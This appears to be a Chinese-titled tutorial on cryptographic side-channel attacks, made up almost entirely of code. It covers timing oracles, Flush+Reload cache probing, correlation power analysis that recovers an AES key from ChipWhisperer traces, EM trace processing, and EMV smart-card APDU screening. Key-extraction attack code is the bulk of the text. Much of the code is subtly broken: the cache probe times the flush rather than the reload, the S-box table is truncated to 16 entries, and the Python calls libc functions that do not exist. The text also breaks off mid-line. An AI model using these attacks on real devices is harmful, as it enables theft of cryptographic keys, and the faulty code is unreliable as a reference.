密码学侧信道攻击与实现安全取证深度分析

git clone https://github.com/newaetech/chipwhisperer.git
cd chipwhisperer
./setup.py install

pip install chipwhisperer
python -c "import chipwhisperer; print(chipwhisperer.__version__)"

T(m, d) = Σ_{i=0}^{n-1} [d_i · T_mul + T_sq] + noise

import time
import ctypes

class HighResTimer:
    def __init__(self):
        if hasattr(time, 'perf_counter_ns'):
            self._counter = time.perf_counter_ns
        else:
            self._counter = lambda: int(time.perf_counter() * 1e9)

    def measure(self, func, iterations=10000):
        times = []
        for _ in range(iterations):
            start = self._counter()
            func()
            end = self._counter()
            times.append(end - start)
        return times

    def statistical_analysis(self, times):
        import statistics
        return {
            'mean': statistics.mean(times),
            'stdev': statistics.stdev(times),
            'median': statistics.median(times),
            'min': min(times),
            'max': max(times),
            'cv': statistics.stdev(times) / statistics.mean(times)
        }

timer = HighResTimer()
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend

private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
    backend=default_backend()
)
public_key = private_key.public_key()

def rsa_sign():
    private_key.sign(b'\x00' * 32, hashes.SHA256())

stats = timer.statistical_analysis(timer.measure(rsa_sign, iterations=5000))
print(f"RSA signing mean time: {stats['mean']} ns")
print(f"Coefficient of variation: {stats['cv']:.4f}")

import socket
import time
import statistics

class TimingOracle:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def measure_rtt(self, data, iterations=100):
        rtts = []
        for _ in range(iterations):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((self.host, self.port))
            start = time.perf_counter_ns()
            sock.sendall(data)
            try:
                response = sock.recv(4096)
            except socket.timeout:
                pass
            end = time.perf_counter_ns()
            rtts.append(end - start)
            sock.close()
        return rtts

    def detect_timing_leak(self, label_a, label_b):
        times_a = self.measure_rtt(label_a)
        times_b = self.measure_rtt(label_b)
        mean_a = statistics.mean(times_a)
        mean_b = statistics.mean(times_b)
        std_a = statistics.stdev(times_a)
        std_b = statistics.stdev(times_b)
        n = len(times_a)
        pooled_std = ((std_a**2 + std_b**2) / 2) ** 0.5
        effect_size = abs(mean_a - mean_b) / pooled_std
        return {
            'mean_diff_ns': mean_b - mean_a,
            'effect_size': effect_size,
            'significant': effect_size > 0.5
        }

import numpy as np
from scipy import stats

class TimingForensics:
    def __init__(self, trace_file):
        self.traces = self._load_traces(trace_file)

    def _load_traces(self, filepath):
        import json
        with open(filepath) as f:
            return json.load(f)

    def wilcoxon_test(self, group_a, group_b):
        statistic, p_value = stats.wilcoxon(group_a, group_b)
        return {
            'test': 'Wilcoxon signed-rank',
            'statistic': statistic,
            'p_value': p_value,
            'significant_005': p_value < 0.05
        }

    def mannwhitney_test(self, group_a, group_b):
        statistic, p_value = stats.mannwhitneyu(
            group_a, group_b, alternative='two-sided'
        )
        return {
            'test': 'Mann-Whitney U',
            'statistic': statistic,
            'p_value': p_value,
            'significant_005': p_value < 0.05
        }

    def detect_outliers(self, data, threshold=3.0):
        z_scores = np.abs(stats.zscore(data))
        return np.where(z_scores > threshold)[0]

    def autocorrelation_analysis(self, data, max_lag=50):
        n = len(data)
        mean = np.mean(data)
        var = np.var(data)
        autocorr = []
        for lag in range(1, max_lag + 1):
            cov = np.sum((data[:n-lag] - mean) * (data[lag:] - mean)) / n
            autocorr.append(cov / var if var > 0 else 0)
        return autocorr

    def generate_report(self):
        report = {
            'total_traces': len(self.traces),
            'statistics': {},
            'anomalies': []
        }
        if self.traces:
            trace_lengths = [len(t) for t in self.traces]
            report['statistics'] = {
                'mean_length': np.mean(trace_lengths),
                'std_length': np.std(trace_lengths),
                'total_samples': sum(trace_lengths)
            }
        return report

#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>

#define CACHE_LINE_SIZE 64
#define FLUSH_THRESHOLD 120

uint8_t flush_reload(uint8_t *addr) {
    uint64_t t1 = __rdtsc();
    _mm_clflush(addr);
    _mm_mfence();
    uint64_t t2 = __rdtsc();
    _mm_mfence();
    uint64_t delta = t2 - t1;
    return delta < FLUSH_THRESHOLD;
}

void monitor_cache_access(uint8_t *target, size_t target_size,
                          size_t iterations) {
    uint64_t hit_counts[256] = {0};

    for (size_t i = 0; i < iterations; i++) {
        for (size_t j = 0; j < target_size; j += CACHE_LINE_SIZE) {
            _mm_clflush(&target[j]);
        }
        _mm_mfence();

        // 等待受害者执行操作
        for (volatile int k = 0; k < 100; k++);

        for (size_t j = 0; j < target_size; j += CACHE_LINE_SIZE) {
            if (flush_reload(&target[j])) {
                hit_counts[j / CACHE_LINE_SIZE]++;
            }
        }
    }
}

perf stat -e cache-misses,cache-references,L1-dcache-load-misses \
    ./target_binary 2>&1 | grep -E "cache|L1"

perf record -e L1-dcache-load-misses -ag -- sleep 10
perf report

for i from n-1 downto 0:
    result = result * result mod N    // 平方操作
    if d_i == 1:
        result = result * m mod N     // 乘法操作

import numpy as np
from chipwhisperer import scope, target, hw

class DPAAttack:
    def __init__(self, num_traces=5000, plaintext_bits=8):
        self.num_traces = num_traces
        self.plaintext_bits = plaintext_bits

    def hamming_weight(self, value):
        return bin(value).count('1')

    def sbox_output(self, plaintext, key_guess):
        return hw(0x63 ^ (plaintext ^ key_guess)) % 256

    def dpa_attack(self, traces, plaintexts):
        num_samples = traces.shape[1]
        best_guess = np.zeros(self.plaintext_bits, dtype=int)
        correlation = np.zeros((256, num_samples))

        for byte_idx in range(self.plaintext_bits):
            for key_guess in range(256):
                hypothesis = np.array([
                    self.sbox_output(pt[byte_idx], key_guess)
                    for pt in plaintexts
                ])
                weights = np.array([self.hamming_weight(h) for h in hypothesis])
                for sample_idx in range(num_samples):
                    correlation[key_guess][sample_idx] = np.abs(
                        np.corrcoef(weights, traces[:, sample_idx])[0, 1]
                    )
            best_guess[byte_idx] = np.argmax(
                np.max(correlation, axis=1)
            )
            print(f"Byte {byte_idx}: key=0x{best_guess[byte_idx]:02x}, "
                  f"correlation={np.max(correlation):.4f}")

        return best_guess

    def collect_traces(self):
        traces = []
        plaintexts = []
        for _ in range(self.num_traces):
            pt = np.random.bytes(16)
            traces.append(self._measure_power(pt))
            plaintexts.append(np.frombuffer(pt, dtype=np.uint8))
        return np.array(traces), np.array(plaintexts)

r(k) = |Σ(x_i - x̄)(y_i - ȳ)| / √(Σ(x_i - x̄)² × Σ(y_i - ȳ)²)

HW(x) = |{i : x_i = 1}|                    // 汉明重量
HD(x, y) = HW(x ⊕ y)                      // 汉明距离
P_power ∝ HD(current_state, previous_state)  // 功耗泄漏模型

git clone https://github.com/newaetech/chipwhisperer-husky.git
pip install chipwhisperer

cw.scope.setup(gain=45, num_samples=2400)
cw.target.simpleserial_write('p', plaintext)
trace = cw.capture.get_num_traces(1)
cw.plot(trace)

import chipwhisperer as cw
import numpy as np

scope = cw.scope()
target = cw.target(scope)

scope.setup(gain=45, num_samples=2400, offset=0)
scope.adc.samples = 2400
scope.clock.clkgen_freq = 7370000
scope.trigger.io = False
scope.io.hs2 = "serial"

known_key = np.array([0x00, 0x11, 0x22, 0x33, 0x44, 0x55,
                       0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb,
                       0xcc, 0xdd, 0xee, 0xff], dtype=np.uint8)

num_traces = 5000
traces = []
texts = []

for i in range(num_traces):
    text = np.random.randint(0, 256, 16, dtype=np.uint8)
    target.simpleserial_write('p', text.tobytes())
    scope.capture()
    trace = scope.capture.adc.traces[0]
    response = target.simpleserial_read('r', 16)
    traces.append(trace)
    texts.append(text)

traces = np.array(traces)
texts = np.array(texts)

def sbox(in_val):
    sbox_table = [
        0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,
        0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76
    ]
    return sbox_table[in_val]

def hamming_weight(val):
    return bin(val).count('1')

recovered_key = np.zeros(16, dtype=np.uint8)

for byte_idx in range(16):
    best_corr = 0
    best_guess = 0
    for key_guess in range(256):
        hyp = np.array([hamming_weight(sbox(texts[i][byte_idx] ^ key_guess))
                        for i in range(num_traces)])
        correlations = []
        for sample in range(traces.shape[1]):
            corr = np.abs(np.corrcoef(hyp, traces[:, sample])[0, 1])
            correlations.append(corr)
        max_corr = max(correlations)
        if max_corr > best_corr:
            best_corr = max_corr
            best_guess = key_guess
    recovered_key[byte_idx] = best_guess
    print(f"Byte {byte_idx:2d}: 0x{best_guess:02x} (corr={best_corr:.4f})")

print(f"\nRecovered key: {recovered_key}")
print(f"Known key:     {known_key}")
print(f"Match: {np.array_equal(recovered_key, known_key)}")

def masked_sbox(input_byte, mask):
    masked_input = input_byte ^ mask
    sbox_output = sbox(masked_input)
    return sbox_output ^ mask

def secure_compare(a, b):
    result = 0
    for i in range(len(a)):
        result |= a[i] ^ b[i]
    return result == 0

import numpy as np
import struct

class EMProbeCapture:
    def __init__(self, sample_rate=100e6, num_samples=100000):
        self.sample_rate = sample_rate
        self.num_samples = num_samples

    def bandpass_filter(self, signal, low_freq, high_freq):
        from scipy import signal as sig
        nyquist = self.sample_rate / 2
        low = low_freq / nyquist
        high = high_freq / nyquist
        b, a = sig.butter(4, [low, high], btype='band')
        return sig.filtfilt(b, a, signal)

    def compute_snr(self, signal, noise_region_start, noise_region_end):
        signal_power = np.mean(signal ** 2)
        noise_region = signal[noise_region_start:noise_region_end]
        noise_power = np.mean(noise_region ** 2)
        if noise_power == 0:
            return float('inf')
        return 10 * np.log10(signal_power / noise_power)

    def compute_mutual_information(self, traces, plaintexts):
        num_traces, num_samples = traces.shape
        mi_values = np.zeros(num_samples)
        for sample in range(num_samples):
            bins = 50
            hist_2d, _, _ = np.histogram2d(
                traces[:, sample], plaintexts, bins=bins
            )
            p_joint = hist_2d / num_traces
            p_x = np.sum(p_joint, axis=1)
            p_y = np.sum(p_joint, axis=0)
            p_xp_y = np.outer(p_x, p_y)
            nonzero = (p_joint > 0) & (p_xp_y > 0)
            mi = np.sum(p_joint[nonzero] * np.log2(
                p_joint[nonzero] / p_xp_y[nonzero]
            ))
            mi_values[sample] = mi
        return mi_values

    def align_traces(self, traces, reference_trace):
        num_traces = traces.shape[0]
        aligned = np.zeros_like(traces)
        for i in range(num_traces):
            correlation = np.correlate(traces[i], reference_trace, mode='full')
            shift = np.argmax(correlation) - len(reference_trace) + 1
            aligned[i] = np.roll(traces[i], -shift)
        return aligned

class SmartCardEMAForensics:
    def __init__(self):
        self.traces = []
        self.apdus = []

    def analyze_emv_transaction(self, emv_trace):
        apdus = self._parse_apdus(emv_trace)
        for apdu in apdus:
            if apdu['cla'] == 0x80 and apdu['ins'] in [0x88, 0x82]:
                print(f"Authentication APDU detected: {apdu['ins']:02x}")
                print(f"  Data length: {len(apdu['data'])} bytes")
                self.apdus.append(apdu)

    def _parse_apdus(self, trace):
        apdus = []
        for packet in trace:
            if len(packet) >= 5:
                apdus.append({
                    'cla': packet[0], 'ins': packet[1],
                    'p1': packet[2], 'p2': packet[3],
                    'data': packet[5:-2] if len(packet) > 7 else b'',
                    'sw': packet[-2:] if len(packet) >= 2 else None
                })
        return apdus

    def detect_weak_crypto(self, apdu):
        if apdu['ins'] == 0x88:
            return {"algorithm": "3DES", "vulnerability": "DPA/EMA feasible"}
        elif apdu['ins'] == 0x82:
            return {"algorithm": "AES-CMAC", "vulnerability": "Higher resistance"}
        return {"algorithm": "Unknown", "vulnerability": "Manual analysis required"}

import ctypes
import time
import numpy as np

class FlushReloadAttack:
    def __init__(self, target_lib_path):
        self.libc = ctypes.CDLL(None)
        self._rdtsc = self._get_rdtsc_func()
        self.target_lib = ctypes.CDLL(target_lib_path)
        self.cache_line_size = 64

    def _get_rdtsc_func(self):
        lib = ctypes.CDLL(None)
        func = lib.__rdtsc
        func.restype = ctypes.c_uint64
        return func

    def flush(self, addr):
        self.libc.clflush(ctypes.c_void_p(addr))

    def reload(self, addr):
        start = self._rdtsc()
        data = ctypes.c_char.from_address(addr).value
        end = self._rdtsc()
        return end - start

    def monitor(self, base_addr, num_lines, iterations=10000):
        hit_matrix = np.zeros((iterations, num_lines))
        for i in range(iterations):
            for line in range(num_lines):
                addr = base_addr + line * self.cache_line_size
                self.flush(addr)
            self.libc._mm_mfence()
            time.sleep(0.001)
            for line in range(num_lines):
                addr = base_addr + line * self.cache_line_size
                cycles = self.reload(addr)
                hit_matrix[i][line] = 1 if cycles